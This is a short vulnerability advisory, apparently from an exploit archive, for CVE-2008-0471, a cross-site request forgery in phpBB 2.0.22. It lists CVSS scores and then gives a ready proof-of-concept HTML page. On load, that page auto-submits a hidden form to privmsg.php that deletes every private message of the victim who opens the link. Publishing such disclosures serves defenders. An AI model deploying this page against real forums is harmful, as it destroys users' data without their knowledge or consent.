phpBB 2.0.22 Remote PM Delete XSRF Vulnerability

2008.01.29

Credit: NBBN

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-0471

CWE: CWE-352

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

################################################################
phpBB 2.0.22 Remote PM Delete XSRF Vulnerability               
by NBBN                        Type: Cross-Site Request Forgery
Founded: December 2007                                         
################################################################

An attacker can send a link via pm to a site with the follow html code to a 
victim and all victim's pm's are going to be deleted when he click the link. 
######Code##########################################################
 
<html>
  <head>
  </head>
  <body onLoad=javascript:document.xsrf.submit()>

<form action="http://[site]/phpBB2/privmsg.php?folder=inbox" method="post" 
name="xsrf">
<input type="hidden" name="mode" value="" />
<input type="hidden" name="deleteall" value="true" />
<input type="hidden" name="confirm" value="Yes">

</body>
</html>
#####################################################################

######Vuln Versions:#####################

I've tested it only on 2.0.22 but I think that all versions of 2 are vuln.

(Sorry my bad english :-) )

See this note in RAW Version

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phpBB 2.0.22 Remote PM Delete XSRF Vulnerability

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